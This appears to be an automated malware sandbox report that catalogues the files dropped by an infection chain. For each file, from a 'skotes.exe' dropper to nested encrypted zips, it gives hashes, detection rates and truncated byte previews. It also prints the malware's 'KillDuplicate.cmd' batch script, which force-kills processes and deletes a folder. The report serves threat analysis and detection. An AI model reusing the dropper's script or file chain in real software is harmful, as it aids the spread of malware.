SHA-512:	1DF952E2A6A0E743FD984612DB915AC179B8F5C42284C90649BDB085C8136746136D98DCBE0EA038CB43EE6990A4D871B0A0305E12A29CB9FD3B805800D9A82A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@...........................K.....x.....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...hrqcmbfk......1......X..............@...baxohzut......K......(..............@....taggant.0....K.."...,..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulvvS///Z:NllUi
MD5:	55BC955DC3003949E539647F9FBE420D
SHA1:	BF2448042589EBF7D4DF5590F9FCDDD65D091BEE
SHA-256:	9D89A8C1E8F6E379DFB09D13BF027251D33BD5C5ED903242EF2AA76482890D71
SHA-512:	F20E3FC2724FA273DD183D178EDC21BFE56888E6409FE7028401816413F2BC69157A1ABDD265349744E41845985B8087DCF62C9E75F5637D1413B6B258B1C838
Malicious:	false
Preview:	@...e...................................7............@..........

C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1986048
Entropy (8bit):	7.952753928793905
Encrypted:	false
SSDEEP:	49152:XK5IeeNzsjPkcGafWrMJKaWsho/KKRdg2:XK+TzKPZGbwgsi/7g
MD5:	74C0FEC1D8D8E4C943BAED136DCF9E56
SHA1:	6399DEA373FC53B963A41547516D50E5A313E603
SHA-256:	C3DC29ECDD50DACFF125E3743FD3153837CC3869C6EEB8195996790013FA6EA1
SHA-512:	1DF952E2A6A0E743FD984612DB915AC179B8F5C42284C90649BDB085C8136746136D98DCBE0EA038CB43EE6990A4D871B0A0305E12A29CB9FD3B805800D9A82A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........K...........@...........................K.....x.....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..)..........V..............@...hrqcmbfk......1......X..............@...baxohzut......K......(..............@....taggant.0....K.."...,..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_au5t1jvr.hjy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mckjazhl.twj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfbyrwlk.lxd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vfjwj4y2.hne.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2943488
Entropy (8bit):	6.542697972844218
Encrypted:	false
SSDEEP:	24576:4ec0z/YLlWxLAYD4LdIS7YRsgesjOT/aADjxyRyznuRr3iNQ8TKSurHU8wyRHUvI:jDk0L9sKSGdW/HVl9iHzw7aipAP
MD5:	65F41A5703887BEEBA49A84CA30BAE19
SHA1:	1AE160165E2BA85F3B90D34B451FE965CE51701E
SHA-256:	E99443934269E932C08BF7928DA5FF5C5FAE2CC72794380D5F7F7A2D0F7BC46E
SHA-512:	62D2C181B59A8D74978F7A9A335472C119E599C3106C979FB3F02663D22BECB7C584D84F6DD6C4B4499997D72EC67CF4274643A4AE09485A90AE8F543CE9F6BB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0.....9.-...@.................................W...k............................}0..............................}0..................................................... . ............................@....rsrc...............................@....idata ............................@...eokeitfr..).......).................@...xdqbfquo......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... 